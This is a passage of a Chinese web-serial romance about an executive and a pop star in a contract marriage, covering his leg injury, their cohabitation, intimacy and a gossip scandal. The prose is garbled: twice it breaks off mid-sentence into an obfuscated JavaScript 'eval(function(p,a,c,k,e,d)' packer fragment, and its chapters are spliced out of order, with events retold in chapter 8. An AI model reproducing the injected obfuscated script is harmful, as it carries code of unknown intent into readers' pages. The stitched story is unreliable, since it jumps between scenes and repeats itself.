只那重重被关上的门,泄露出些许不为人知的情绪。 待夏青妍从浴室中出来,床上的凌乱已被收拾整洁,床单也另换了一套。 秦让比她更快,已洗完澡换了衣服坐在沙发上。衣服半敞,露出胸膛,上面依稀可见几道红色的抓痕,肩上披着一条毛巾,头发洗了也没好好吹,还滴着水。毛巾似乎是专门为了接头发上的水才放,他的那头短发,明明用毛巾随意擦拭几下,就能解决。 这个人从来都不太在意这些生活上的细枝末节。 不知他伤着腿,是怎样做到速度这样快。 秦让原是拿着手机在回信息,见夏青妍出来,抬起头:“洗完了?” 夏青妍淡淡“嗯”一声。 洗个澡,好似将刚才那些起伏澎湃的情绪也一并洗去,夏青妍又变成没有索求的冷淡模样。 秦让还是喜欢她刚才的样子,轻轻啧一声。 他也从沙发上站起,腿上有石膏,他手臂撑着拐杖。这一阵他早已习惯,撑着拐杖走起来也步履如常。 他过于坦然的矫健引起夏青妍的注意,夏青妍的视线不由被他的伤腿吸引,而后,她在他的腿上,见到更奇怪的东西。 “石膏上的那些,是什么?” 夏青妍止住脚步,朝秦让石膏腿上看。 有许多字被写在上面,张牙舞爪,让人认不清。 秦让闻言,也停下。 他低垂下头,看见腿的那一刻,低低笑出声。 “一群无聊的人,在上面写了一些无聊的签名。” 他从威亚摔落的事,在第二天就已经传开,他在青州住院时,动作快的圈内人就已经去了一波,后来回了陵城,来医院探望的人络绎不绝,门槛都快被踏破。 人人看他打着石膏的腿都像是在看稀奇,争先恐后在他腿上留下宝贵的签名。平时拿出去千金不换的签名,就如不要钱一般,求着让他给他们机会写上去。 在青州时,夏青妍去得最早,走得也最早,秦让转院到陵城后,夏青妍来得最晚,在病房里留的时间也少。秦让坐在病床上时,打石膏的腿露出来,但她那时注意力根本不在那上面,走得更是爽快。 有了在青州的前车之鉴,后来陵城时,易安还贴心为大家准备了签名用的彩色闪光笔,因此秦让腿上签名也是五颜六色,还带blingbling的闪光特效。夏青妍从未见过如此五花八门有特色的签名石膏腿,饶是她这样一个好奇心不重的人,也深深看了好几眼。 早饭都没有吃,两人一同到楼下吃午餐。 早上的时间都被浪费在床上,吃过午饭,夏青妍要去公司。她换好衣服要出发时,秦让坐在椅子上问:“今天什么时候回?” 在外时,他是一个大明星,他很红,红到什么程度呢?上至老人,下至小朋友,几乎人人都认得。如果是平时,他有空闲的时间,可以做许多的事。摄影、赛车、攀岩、丛林探险,他热爱一切竞技体育,让人肾上腺素飙升。但他现在伤到腿,腿上有石膏,多多少少,他要顾虑一下在外的形象。 易安就怕他打了石膏还不安分,三令五申要他不要出门。 住到夏青妍这里一个星期,每天就在这一个屋子里打转。虽然夏青妍的别墅足够宽敞,外面的花园大如公园。但对于秦让来说,还远远不够。 可能连他自己都不知,这几天住在这里,心底里唯一的盼望,就是夏青妍早日归家。 今早在床上睁开眼时,见到夏青妍的脸,手里环着夏青妍的腰,没人能懂在那一刻,他心底里忽然绽放而开惊喜与满足感。 他等她一周,而夏青妍仅仅却陪他半天。 这自然是不够的。 夏青妍并不知道秦让在这儿有什么无聊,她去公司,以她平时的风格,手上的工作没做完,几乎没可能在夜晚十点之前回家。甚至,很有可能就夜宿在公司。 她的办公室里有一个隔间,是用来平时午休用的。她很少午休,但偶尔加班时会用。 夏青妍已经准备走了,听见秦让的问题,止下脚步。 “有事?” 她转头问。 秦让挑眉:“没事就不能问?” “当然不是。” 夏青妍略感头疼。 她时常感觉秦让难以捉摸,不像其他人那样好对付。 他关心的事夏青妍还没回答,秦让不厌其烦,再次问:“所以,你今晚什么时候回?” 夏青妍不知道他执着于问这个究竟是做什么,但在这些小问题上,她通常不会过于纠结,都顺着他的意思。 她预估了一下今日的工作量,得出一个大致的时间。 “大约晚上十点。” 这个时间显然没让秦让满意。 “夏青妍,难道你就让我这样一个伤病人士,晚上整整等你到十点,才能吃得上饭?” 秦让双手环胸,站在了道德至高点,挑着眉,一副兴师问罪的模样,好似受到非人的对待。 而夏青妍才明白,原来他是这个意思。 工作忙的时候,早中晚餐从来不在她的考虑范围内,面包三明治是一餐,食堂简餐也是一餐。 她也从来没想过,要回来和秦让一起吃晚饭。 面对秦让,夏青妍用大约两秒的时间思索应该怎么回答,视线在触碰到秦让那条花里胡哨扎眼的石膏腿时,冷硬的心肠软了软。 她将时间往前挪两个小时:“八点钟,可以吗?” 这已经是她能够尽力赶回来的极限。 秦让定定看着她。 这次,他没有再挑剔什么。 “行,那就八点。” 一锤定音。 终于肯放夏青妍离开。 夏青妍走到门口时,还听见身后秦让的声音,悠扬中带着一股懒意散漫:“夏总,不要忘记我们的约定,晚上八点,不见不散~” 夏青妍不着痕迹顿了顿,没有回头,踏步离开。 直到坐上轿车,夏青妍才伸手,捏一捏人中。 从前秦让没搬过来住时,她从来都不知道,原来家里多一个人,会占用她这样多的时间。 前两年,她也没觉得秦让是很难应付的人,怎么忽然就变了模样。 两年都不搬来住,有客房不用,却在她的床睡了一个星期。 不爱与她一起吃饭,与她不熟,嫌太安静无趣,却忽然要等着她回,与她一起吃晚餐。 这件事,无论怎么看,都很奇怪。 人不会无缘无故就性情大变。 难道从威亚落下来,撞坏的不止他的腿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过周瑾经历了与夏明生伤到彻底的婚姻,早就明白凡事不能强求的道理。 说了该说的事,话锋一转,周瑾说到秦让。 “前一阵,秦让出意外住院,你是不是前后只去探望过两次?” 周瑾为什么知道这一点,自然是有人在她耳边提。 秦让与夏青妍这对夫妻的感情很一般,但周瑾和秦让的母亲何云芳倒是意外投缘。知道周瑾深居简出,朋友没有太多,何云芳时常约着周瑾一起喝茶。两家的孩子是怎么结的婚,两家人心里都有数,两人都不是计较的人,聊天时没太多顾虑,什么都会说一点儿。 以夏青妍对周瑾的了解,她不会只说个开头,夏青妍没回答,等着周瑾继续说。 周瑾:“你和秦让的事我管不了太多,但是你们到底已经结婚,他出这样大的事,你探望关心都很少,这件事,你实在做得很不对。我听秦让母亲说,秦让现在住在你家里,这样也好。夫妻就该住在一个屋里,恰好培养培养感情。” 电话里,周瑾说了许多。提及过年,又提秦让,再让夏青妍照顾好自己。 夏青妍都一一应了。 末了,周瑾说:“我与你程阿姨过两天就要出发,你不用再来看我。到马尔代夫后,我会给你打电话。” 与夏青妍交代完所有事,周瑾挂断了电话。 正好,夏青妍的车也开到了公司。 正是午休时间,她在公司大门口下车,进去时,一路遇上许多出外吃饭的公司员工。 “夏总。” “夏总。” 三三两两的员工见到她后,驻足问候,夏青妍朝他们略略点一点头,脚步未停,走向她的专属电梯。 一工作就忘记时间,忙碌一下午,再到天色暗下。 待她再看腕表时,已经临近晚上八点。 将工作效率压缩到极致,在约定的时间内完成,夏青妍合上文件夹,取下架上的西装,离开办公室。 可这个世界不乏意外,紧赶慢赶,路上却堵车。 秦让的电话在八点零分准时打来。 “夏总,你已经迟到。” 秦让的声音缓慢悠扬,他是歌手,不止唱歌好听,说话时,声音透过电话穿进耳里,也是别样的悦耳。 “饭菜已经上桌,距离你到家,还有几分钟?” 7.第 7 章 多少年,夏青妍都未曾体验过家中有人等待的感受。 滋味并不算好。 这一天的路况格外差,秦让的电话每隔五分钟就打来,一直到夏青妍归家。 这两年,鲜少有人再敢这样来催她。 回到家中时,首先闻到的是淡淡的梅香。一束腊梅被插在客厅的花瓶中,散发着幽香。 家中的装饰也变了,剪纸对联,小灯笼小饰品,多了许多中国红。 知道夏青妍不会主动弄这些,周瑾叫人送来腊梅,顺带也让人将夏青妍家里装饰了。 再看餐厅。 秦让已经坐在餐桌前,他的手里正拿着手机,一副即将拨打电话的姿态。 不用想,夏青妍都知道他手机上的电话号码是谁。 “很闲?” 夏青妍看着秦让,开口问。 哪知秦让竟真点了头。 秦让:“医院住大半月,家里又待一个星期,不是谁都是宅男。” 夏青妍终于确定,一切反常的举止,都是秦让闲出来的。 “明天让易安来陪你。” 夏青妍走至餐桌前,在秦让面前坐下。 秦让腿受伤,一切工作都停摆,被迫得来一段长假。这一阵,易安都在处理秦让工作上的遗留问题,有许多事都需要打电话与他商量,寻求他的意见。 易安虽不在身边,可他的电话每天都来,平均每天不下五次。 秦让被他烦到不行。 更别说让易安来这里。 “谁要让他陪?” 秦让朝夏青妍扬眉:“你不想我打扰你,所以要找人来陪我。” “你怕我占用你的时间。” “嫌弃我?” 秦让并不迟钝,双手环胸,看着对面。 夏青妍没有被他的气势汹汹给吓到。说嫌弃算不上,只是想找个人陪他,以免他太无聊,将多的时间花在她的身上。 他很闲。 但她特别忙。 她没空陪他闹。 夏青妍自然不会将真实的想法告知给秦让。 夏青妍耐着性子解释:“只是想有人陪你,这样你不会无聊。” 可纵然她不说,秦让也能看穿。 他轻轻哼一声,不再继续在这个话题上纠缠。 “我不缺人陪,无聊的话自然会找别的事做。” 秦让拿起筷子:“吃饭吧,夏总。” 夏青妍与秦让不是没有一起吃过饭,但这次又和从前有些许不同。 两人边吃边聊,气氛倒是比往常融洽许多。 夏青妍对秦让提及周瑾去马尔代夫的事。 “今年她不在陵城这边过年,正好你的腿受伤,也不用两边去跑。” 秦让点头。 秦让这边也有事。他腿脚不便,出院之后直接住到夏青妍这边来,还没有回过老宅那边。 他受伤的事,转院到陵城,情况稳定后,才敢告诉秦正海。秦正海知道他受伤,不顾劝阻,硬是到医院去看他一次,亲眼见他无恙才安心。 这一阵,夏青妍都不在家,秦让也没回老宅。 秦正海年龄大了不便出门,更不方便来小辈家中。 夏青妍昨天回来,秦正海今天就将电话打了过来,让他俩明天一起回趟老宅。 夏青妍闻言,点了头。 不过她又想到秦让五光十色的石膏腿,秦正海一把年龄,怕是要被惊到。 “你腿不方便,可以去吗?” 为老人的心脏着想,她委婉劝阻:“过几天就可以拆掉石膏,不如拆完再回去?” 谁知秦让却不以为意,养了近一个月,即便用石膏腿他也健步如飞,他早就闷到发慌,回趟老宅都算郊游。 夏青妍见他坚持,便不再多说。 夏青妍回家晚,吃完晚饭也已经到九点。 去楼上洗过澡,她便见到床上又多一个人。 夏青妍脚步一顿。 昨天回家已经很晚,看到床上有人,她不方便将他喊醒。但她实在不习惯与旁的人一起睡。 “今天你也睡这儿?” 站在浴室门口,夏青妍不动声色问。 秦让也已经洗过了澡。 他半靠在床上,腰际以下用被子遮盖,睡衣倒是穿得整齐,胸前该遮的都遮住。 秦让在手机上打单机游戏,听见夏青妍的声音,抬了头。 他听出夏青妍言语中的未尽之意。 就在昨夜,他已经感受过怀里抱着夏青妍睡时的满足感,今天再让他自己去睡,是决然不可能的。 他到这里来,第一天就住进主卧,也充分说明他不想分房的意图。 “夏青妍,我记得我们已经结婚了。” 秦让看着夏青妍,说道:“正常夫妻,没有谁会分房睡?” 夏青妍微微皱眉。 他们之间的问题,恰巧就是,他们并不算是通俗意义上的正常夫妻。 协议婚姻而已,既没有感情,也没有承诺,不知什么时候说散就散。 只是,今天他们难得关系缓和,夏青妍不便在这种时候,非得说扫兴的话来让大家都不开心。 秦让平时很忙,除开必要的音乐相关的工作外,他还将大把的时间用来做各种各样他认为开心值得的事。他只是暂时受伤,才会住到这里来而已。 最多十天半月,他便会如往常,搬离这里,投入到他的工作中去。 秦让坚持,夏青妍便没再提不同的意见,对着秦让点一点头,没再多说什么。 夏青妍却忽略了一个问题。 正常的孤男寡女睡一张床,都容易发生一点儿什么,何况一对夫妻。 他们今天睡觉的时间很早,算得上近期夏青妍睡得最早的一天。 秦让不知怎么回事,明明一人有一床被子,可躺下之后,秦让便将夏青妍的被子扯开,直接钻进了她的被子里。 至于他的那床,又被它的主人遗落在了另一旁。 秦让将夏青妍搂进怀里。 背贴上秦让的胸膛,腰上紧缠他的手臂。 没一会儿,夏青妍感受到肩膀清凉,秦让拉下她的睡衣,亲吻上去。 “秦让……” 今天一早上已经够了。 夏青妍伸手阻止:“今夜不做了。” 可她话都还没说完,就被秦让掰过肩膀,以唇堵住她的唇。 秦让的吻技很好,时间还很多,也还长,这次秦让吻得格外的久。 待他停止时,夏青妍早已气喘吁吁,双眼迷茫。 “夏青妍。” 秦让视线注视夏青妍,他声音沙哑,眼尾泛红,状况并不比夏青妍好多少。 “你真狠心。” 他说着话,而后凑上前,去亲吻夏青妍的面颊,下巴,脖颈,一切夏青妍敏感的地方。 “给我。” 声音拖曳,难得带了丝祈求的:“夏青妍,夏总……给我,今晚就一次,好不好?” 在平日里,夏青妍从来不会是轻易动摇决定的人,但……秦让实在磨人。 最后还是将原则打破,没点头,却也没阻止。 由于只有一次,不知秦让是不是故意,这一次比以往时间都长,格外的久。 当一切都结束时,如有烟花在脑海中炸开,好似什么也无法思考,一片白茫茫。 或许是因为忙的关系,或许是其他,和秦让同居的日子,比预想中过得很快。 隔日,他们按计划,回了趟老宅。 秦正海见到秦让那条写满签名的腿,倒是没说什么,但那一日难得没留他们吃饭,早早就让他们走。 年底事忙,白日里,夏青妍有堆积如山的工作,不是每天都能陪秦让吃晚饭。 但应秦让的要求,她没有再住公司,每夜都会回家去住。 当然,秦让每夜都不会只盖着被子安静睡觉。 经过几天的相处,夏青妍更深刻的了解到一件事。秦让重欲,比她以往以为的,在这方面更加放纵。 腿伤和石膏都没能阻止秦让在这方面有丝毫的收敛。 少则一次,多则两次,这已是夏青妍极力阻止的结果。 白日夏青妍要管理夏氏,夜晚要应付他的需求,她很怀念从前,秦让没有受伤的时候。 六天后,秦让拆掉了石膏。 夏青妍没空,是易安陪他去的医院。 戴着石膏时,尚且不知收敛,可想而知,拆掉石膏之后,是何等模样。 不过好在,秦让拆掉石膏没两天,便到了春节。 全国都在放假,夏青妍每年也只有在这个时候,能有些许空闲。 春节的假期一共有八天,节后,不止夏青妍,秦让也开始忙起来。 他的腿恢复得很好,没什么大碍,已经可以脱离拐杖独自走,只要短期内不要做剧烈的运动,适当的工作和锻炼反而有利于恢复。 两人各自忙碌起来。 自秦让搬进夏青妍家中之后,夏青妍在夜晚,又可以安稳睡个好觉。 秦让极度忙碌。 短暂的同居之后,两人似乎又回到原来。 没有联系,也没有问候。 夏青妍偶尔在路边投放的广告,和从手机弹出的消息中,知晓更多与秦让有关的消息。 他接了新代言,很快就要发售新专辑,去年取消的青州与陵城的两场演唱会,也重新筹办起来。 他忙到两个月没有再回陵城,每月一次的家庭聚餐也缺席。 比起他的忙碌,夏青妍反而比从前要轻松些许,一切都已步上轨道,她的工作量也比从前减少许多。 终于可以连着好几日,在夜晚八点之前就回到家。 一切都在按部就班的进行,直到有一天,夏青妍从手机上,看见一则绯闻。 她并不是故意去看,但大数据总会将与之相关的信息推送到面前。 夏青妍看到一则绯闻。 是有关秦让的。 其实以秦让歌手的身份,有绯闻是一件极正常的事。毕竟媒体捕风捉影,无事也被说成有事。 但这次不太一样。 被推送到夏青妍面前的,是一个视频。 秦让这个月初才录制的一个综艺,与视频里的女主角一起。 他们一起玩一个游戏。 所有人一起追逐一个女孩,女孩惊慌失措朝秦让那里躲去,她撞进了秦让的怀里。 两人对视时,镜头来了个特写,仿佛世界一切都跟着静止。 夏青妍从来不是道听途说的人,但见到这样的画面,难免感到不适。 无论有无感情,对婚姻的忠诚,是最基本的品质,同样也是夏青妍在婚姻里,最在意的一点。 这个视频下面,有许多评论。 【天呐天呐,秦让和崔雪也太般配了!!】 【妈妈,这次我肯定磕到的是真的!】 【简直不敢相信我看见了什么,我就说他们是真的!这糖真的甜!】 【就凭秦让从前对其他女星冷酷的表现,再对比他面对崔雪时,你们看那个眼神,温柔到要滴出水!】 【让让对别人:走啊,莫挨我!让让对崔雪:小心点儿,有没有受伤?】 【啊啊啊好好磕!】 …… 夏青妍看了一部分,没再看。 她记住了这个综艺的名字。 回家时,坐在车上,她翻出这个综艺,找到秦让与崔雪的部分,从头至尾看了一次。 而她不知道的却是,在绯闻出现后不过一个小时,另一则澄清申明便由秦让的工作室发出。 这则申明重点是对秦让与崔雪那个视频的解释,以及与崔雪撇清关系。 视频源于节目组的恶意剪辑,事实是,秦让好端端站在那里,崔雪忽然朝他怀中扑去,秦让被迫接住她。如果不接,她会直接倒入秦让的怀中。在接住崔雪的下一秒,秦让便将她推开。但节目组将那一段剪掉,只将前面无意间对视的那一刹无限回放,营造出一种两人情意绵绵的假象。 这种手法搞镜头的人都会,不需要什么演技,全都是技巧。 秦让与崔雪并不很熟,两人只是一起参加过一个叫《舞林盛会》的综艺,但是从那之后,就产生了各种的切片,暗示两人关系很不一般。崔雪也因秦让的关系,获取了更多的关注和流量。 到秦让这个程度,每年碰瓷他的女星不在少数,对比之下,崔雪暗戳戳去搞,不敢太明目张胆,已经算收敛。 对于这些,秦让从来都懒得理会。 只是这次,崔雪碰触到秦让的底线。 秦让的团队可以说是反应迅速,短短不过一个小时,就发出澄清公告,视频很快被下架,水军退散,而暗地里推动这件事的崔雪,顿时也被全网唾骂,群嘲。 坐车的二十余分钟,正好够夏青妍看完全部视频。 看完之后,她发现,除了最初看的那个短短十余秒的视频,其他时候,秦让与崔雪在综艺中的表现堪称正常。 但这并不表示,他们之间都真的没有什么。 车到门口停下,夏青妍下车。 她今天回家不算早,到家已经晚上九点。 她没想到,秦让会在今天过来。 他坐在客厅。 两个月过去,他的腿已经完全恢复正常。可跑可跳,可做一切他想做的事。 夏青妍在刚才搜索他与那个女孩的视频时,还见到另一个他跳舞的视频,他街舞也跳得极好,收放自如,合该的天生巨星,举手投足,都好似在发光。 “怎么今天来了?” 夏青妍问秦让。 秦让注视夏青妍。 其实他比夏青妍想象的还要忙。 不要看他养伤时整日闲到无事,实际上,他那一个多月的工作量并没有随着他的休假养伤而结束,而是被挪到了后面。 那一个多月他有多闲,后面成倍的工作堆积,他就有多繁忙。 这两个月,他不是不想回来,而是找不到时间回来。 至于今天,是秦让知道网上的绯闻,威逼易安将原有的工作挪掉,才得来的半天空闲。 明天,他在江城还有活动,今天晚上他在陵城最多能带到凌晨,就要乘车到江城。 秦让也才回到这里不到半个小时。 隔着一段距离,他看着夏青妍,细细注视她的神情。 她的神情并无异样。 看来今天那段视频和绯闻,她并没有看到。 秦让也不知究竟是怎么回事,在网上的绯闻出现时,竟忽然莫名感到心慌。他进娱乐圈已经有好几年,成名也早,明星从来都不乏绯闻,他也不例外。纵然他一身清白,奈何看中他的人气,往他身上碰瓷的人实在太多。 从前,他闹过比这更大的绯闻,不止一个。 但却从来没有今日的慌乱。 慌乱之外又生出一股没来由的怒火,立即就让易安处理这件事,没为对方留任何意思的情面。 夏青妍没有看到。 的确也是,那个绯闻才一个多小时立即就被澄清,而夏青妍管理偌大的公司,看也只看财经新闻,怎么会去看这些。 秦让暗自取笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一句之后,两人都相对无言,气氛略显尴尬与沉默。 秦让看着夏青妍,其实这一句也没什么错,因为他发现,他的确也有些想念她。 他放开她的腰,问她:“吃晚饭了吗?” 已经九点,晚饭她已经吃了。 见她点头,秦让:“我没有吃。” 餐桌上,已经摆上一桌简单的餐食。是刚才秦让到时,吩咐管家让人去做的。 这时,见夏青妍回来,佣人又拿来一副碗筷。 秦让伸手拿来,递给她:“你陪我吃一点儿。” 夏青妍已经吃过,吃得不多。 餐桌上,两人都没怎么讲话。 秦让感受到夏青妍的沉默。 但他不知,究竟发生了什么。 似乎在前两年,他们之间一直都是这样相处,可现在,他却忽然有些不习惯。 他能待在陵城的时间不多。 饭后,到了该休息,睡觉的时候。 两人都很有默契,离开餐厅,往楼上走。 洗澡并不花费太多的时间,夏青妍从浴室出去,秦让果然已经洗完澡,坐在卧室的沙发上。 今天看了一些视频,夏青妍其实有一些话想问他,却又不知如何去开口。 他们之间协议的三年婚姻,其实并不是非要三年。 这两年,她已经将夏氏该打理的打理好,该清除的清除干净。这段婚姻于她而言,其实已经没有像从前那样必须。 如果……秦让已经有喜欢的女孩,她倒不是不可以放手。 有关于这段婚姻,最无辜也最无奈的,一直都只有秦让。她贪图秦家的帮助,也贪图这段婚姻潜藏着的带给她的利益,她想要从这段婚姻里得到的东西,一直很多,也很明确。 秦让什么都不要,但这两年,却因这段婚姻,被迫与她捆绑,这本就是她对不住他。 因此,每每想到这些,夏青妍对于秦让的忍让度,又要高上许多。 秦让一直是张扬的。 即便他只坐在沙发上,什么也没做,也让人难以忽视他的存在。 在卧室里,刚才那股陌生的气氛,消失无踪。 “怎么又没有穿睡衣?” 当两人都要洗澡时,秦让不会在卧室等她,而是会选择去另一个浴室。那边的衣服都有,可他并非次次都穿戴齐全。 另一个浴室就在对面,反正马上要脱,秦让实在懒得多此一举。 他从前没发现,原来夏青妍皱起眉时也是好看的。 秦让从沙发中站起。 故意用光裸的胸膛去环抱夏青妍,恶劣到极点。 将夏青妍抱在怀里之后,还问她:“夏青妍,我就这样抱着你,你只要看不见,你的眼睛会不会就好过一点?” 面对秦让时,夏青妍时而都有疑惑,他的脑回路究竟是怎样长?怎么就与寻常人不一样,如此与众不同呢? 夏青妍被他抱在怀中,被迫与他亲密接触,被他的气息包裹着,鼻间都是他沐浴过后的气息。 她不由得沉默。 而她的沉默,并没有打击到秦让的兴致。 他敏感察觉到她的沉默因何而起,甚至更用力的抱紧了她,将她紧紧贴在他怀中,身体都因拥抱太过紧密而感到疼痛。 夏青妍不由得伸手去推。 “……松手,很疼。” 下一秒,他将她放开。 逗了夏青妍让秦让感觉到开心,他对着她笑起来。 夏青妍感知到他的情绪,虽不知他究竟在开心什么,但情绪会传染。 她眼角也跟着弯了弯,轻轻骂他一句:“幼稚。” 秦让不怕被她说幼稚。 幼稚的一面,往往展现给最亲密的人。 以他与夏青妍负距离的关系,怎么不能算是亲密呢? 看着难得展露笑颜的夏青妍,秦让往前一步,再度拥抱她。 而后,他低垂下头,亲吻她的唇。 这个吻很轻很柔,带着珍视的味道。没多久,吻越来越重,手也越探越深。 他们毕竟已经两个月不见。 在两个月之前,两人天天都过着夫妻生活,夏青妍一度感到极度疲累。 两个月没见,夏青妍身体的感觉被一个轻轻的吻勾起,她才发现,对于这件事,她其实也有她的需求。 并没有一次就结束。 到一切平息时,已经很晚很晚。 秦让没有再睡,或者说,他根本不用睡,时间已经差不多,他过一会儿就要走。 他这时才想起,还没有将这件事对夏青妍说。 秦让:“我明天有一个活动,待会儿要走。” 夏青妍很累了,她被秦让从身后抱着。由于脑子里想着事情,她也一直没睡着。 听见秦让的话,她微微一愣。 “要走?” 她回头,诧异问:“现在?” 现在凌晨一两点,他要三更半夜离开? 秦让:“明天早上七点,在江城有个活动。” 夏青妍听明白了,但她又不解,问道:“既然时间那么赶,那你还回来做什么?” 这一次,秦让陷入了沉默。 如果不是那个绯闻,他不会慌,更不会回。 但她根本没看见。 她也不可能看到。 一时间,他甚至不知道他昨日究竟在慌乱什么。 秦让轻轻笑一声。 他带着笑的嗓音说:“就不能是我想你了吗,夏青妍?” 夏青妍没想到会听到这一句,一怔。 她自然是不会当真。 她思虑再三,最终还是问他:“秦让,其实你有没有想过,提前结束我们这段婚姻?” 8.第 8 章 夏青妍回到家时,秦让仍还在琴室。 琴房设在一楼,即便关着门,仍有些微琴声流泻出来,动听悠扬。 “他在里面?” 走进客厅,夏青妍将外套脱下递给管家,问道。 管家恭敬道:“钢琴到了之后,先生在里面一下午,没有出来。” 秦让在里面弹琴,正好切合夏青妍给他买琴的初衷。今天秦让除了早上打过一个电话,后面便没了任何信息。夏青妍工作到十点也没人催。 好几日没这样清净。 夏青妍原是不想去打扰,就这样上楼去。工作一天,她也累了,今天正好趁着秦让练琴,早些睡觉。 可管家的话还是让她短暂的停下脚步。 “他没有吃晚饭?” 她回头问。 管家:“没有吃,先生练琴认真,让我们不要去打扰。” 夏青妍闻言,轻皱眉头。 秦让受伤,还在养伤期。饭都不吃,怎么养好身体? “给他端晚餐过去,叮嘱他吃完。” 夏青妍吩咐完,才上了楼。 管家听话,将吃食端到琴房,敲门好几声,才有人应。 秦让久不碰乐器,一碰就难以自控,停不下来。灵感如潮水,只短短几小时,他已经做了两首新曲。 这些乐器,都是国内外顶尖,花重金才能买到。虽不如家中自己家中那些趁手,但临时买入,能有这样的效果和音色已经算是不错。 在琴房里待着不知疲惫,也不知时间流逝,待到管家敲门时,秦让才知道已经近夜晚十一点。 秦让才作两首曲子,仍处于兴奋状态,并不觉得饿。对于管家手上端着的食物,他看都没看一眼,而是问:“夏青妍回来了?” 夏家的佣人,两年间已习惯这对夫妻之间的生疏,即便他们直呼对方名字也面不改色。 管家点头:“刚回。” 秦让从凳上站起,朝外走去。 - 夏青妍洗完澡后,在房间之中看见秦让,一点儿也不惊讶,只转头看了一眼,问他:“吃过晚饭了吗?” 秦让此时没有多关心自己的肚子,他感觉不到累,也察觉不到饿。 他没回答,只走上前,长臂一伸便将夏青妍搂进了怀中。 “夏总,你今天给我买了很多东西,我都很喜欢。” 衣物方面,他从来不缺,纵然夏青妍撒钱将他衣柜塞满,他都不会有丝毫动容。但音乐相关,却拿准他的命脉与咽喉,确实送到他心头。 更别提,他今天还新作了两首曲。两首都满意。他上次这样灵感爆棚,已经是好几年前。而那张专辑中的歌曲个个经典,早已闻名大街小巷,是个人都能哼唱几句,成为KTV必点曲目。 这都是夏青妍给他买乐器,单独在别墅为他开辟琴房的功劳。 秦让的好心情溢于言表。不止脸上有笑容,连搂抱着夏青妍的手臂都磨来磨去,与平常时候不同。 “夏总,你对我这样好,我应该怎么报答你?” 秦让搂着她问。 头凑到她的面前,额头顶着她的额头。 非同寻常的热情。 倒不是说往日的他不热情,但往日的热情缠人只是床上限定,夏青妍总能察觉,他看她的眼神隔着距离,如火的热情,却总不及眼底。 他们只是浮于表面的夫妻,身体的纠缠是本能驱使,无关其他。既然没有感情,自然也谈不上欢喜。 今天却好似有点儿不太一样。 秦让看她的眼神,透着洋洋的暖意。 他能问出这样的话,夏青妍毫不怀疑,只要她点头或者给出任何暗示。下一秒钟,他们就能往床上去。 而这,恰恰是夏青妍目前最不想的。 “不需要你任何的报答。” 夏青妍伸手将他推开,理智到极点。她看秦让太无聊,才弄点儿东西给他解闷。 她平时大都在公司,无所谓秦让都在家中做了什么,只要不要闲得没事拉她作陪,耽误她时间。 她不纵欲,秦让住过来后,她最简单的需求只是想安稳睡个好觉。 秦让却伸手,再度将她拉入怀。 “那怎么可以?” 夏青妍性格刚硬冷漠,抱起来很软,她才洗过澡,浑身都散发沐浴后的清香,极好闻。 体力悬殊,夏青妍挣不脱。 她皱眉。 半晌,她抬头,缓缓对着秦让说:“秦让,你不要恩将仇报。” …… 满室沉默。 “你管这叫恩将仇报?” 好一会儿,秦让才懂她意思,有些不可思议,却又感到好笑。 他放开她。 “不是人人满脑子都想着那事。”夏青妍早就认为他们之间需要沟通这个问题,索性趁此机会,将话说完:“能不能歇一歇?” 她刚才去衣帽间拿睡衣,见到秦让的新衣占据衣帽间的一半。 她明明有安排秦让衣服的去处,结果最后他的衣物却仍还在她这儿,是谁的手笔,不做他想。 她倒不是一定要将他赶出这个房间,只是,如果他能住到客房去,当然是最好。 秦让见她视线落在衣帽间,立即明白她在想什么。 可他这人有反骨。 况且,他们是夫妻,即便名义上的夫妻,也是夫妻。 秦让看着夏青妍,慢声道:“我在你这里,住不了几天。” 所以,休想他独自搬去冷冰冰的客房。 说完,并没有等待夏青妍回应,秦让伸手,去握住了夏青妍的手。 夏青妍下意识抽手,但秦让握得牢。 秦让转头,对她道:“你想歇,今晚就让你歇。” 他勾唇,对她露出堪称闪亮耀眼的笑容:“做了新曲,弹给你听。” 或许,他自己也知道,他这副相貌的杀伤力。 纵然是夏青妍也难以抗拒,晃了晃神。待她反应过来,已经被他拉着走下楼。 秦让的新曲,的确很好听。 他不止作曲,还填了词。 他坐在钢琴前,弹琴唱歌给她听。自小,夏青妍没什么音乐细胞,她忙碌而勾心斗角的生活中,插不入音乐的影子。 她毫无兴趣,也无心欣赏。 毫无疑问,秦让完全与她不同。 他有一双白净修长而漂亮的手,像轻盈的蝴蝶,在键盘上飞舞。在他的指下,动听的旋律流泻而出。 他显得毫不费力,游刃有余,他没有坐得笔直端正,甚至伤一条腿,也高贵优雅,似童话故事里漂亮英俊的王子。 夏青妍不是没见过秦让弹琴,也不是没听过他的歌,今天早晨,在路过广茂时,4D屏上便是他正在弹琴的广告。他的歌传唱度之高,在她与他结婚前,她就已经听过。但她却是第一次见他真人弹唱,也第一次如此清晰的意识到,秦让为何一定要入娱乐圈,他融入于音乐的模样,俨然为音乐而生。 秦让弹完一曲,接着又弹另一曲。 直到两曲弹完,旋律悠然而止。 在秦让尚未转头时,夏青妍已经开口:“很好听。” 秦让看向夏青妍。 这些年,围绕在他身旁的赞美太多,他都已听得麻木,心中毫无半分波澜。可从夏青妍口中简简单单的好听两个字,却让秦让霎时扬起笑颜。 “曲子好听,还是唱得更好听?” 他偏要问到底,刚才他可不止弹奏。 夏青妍被他感染,扬唇:“都好听。” 弹得好听,唱得也好听。 她见过的人中,没人比他更好。 这一夜,在听过秦让的新曲之后,夏青妍陪着他吃了晚饭。 这一夜,秦让也履行他说过的话,晚上单单只抱着夏青妍睡觉,其他什么也没做。 有了一个单独的琴室,秦让有了事做,夏青妍也得了轻松。 年底事忙,和秦让同居的日子,过得极快。白日里,夏青妍有堆积如山的工作,不是每天都能时间陪秦让吃晚饭。 但应秦让的要求,她即便再忙也没有再住公司,每夜都会回家去住。 当然,秦让不会只盖着被子安静睡觉。 腿伤和石膏都没能阻止秦让在某些方面有丝毫的收敛。 他白天在琴房消耗精力,体力全都用在晚上。 很快就到秦让拆石膏的日子。 这一日,夏青妍出差去聊城,易安陪秦让去的医院。 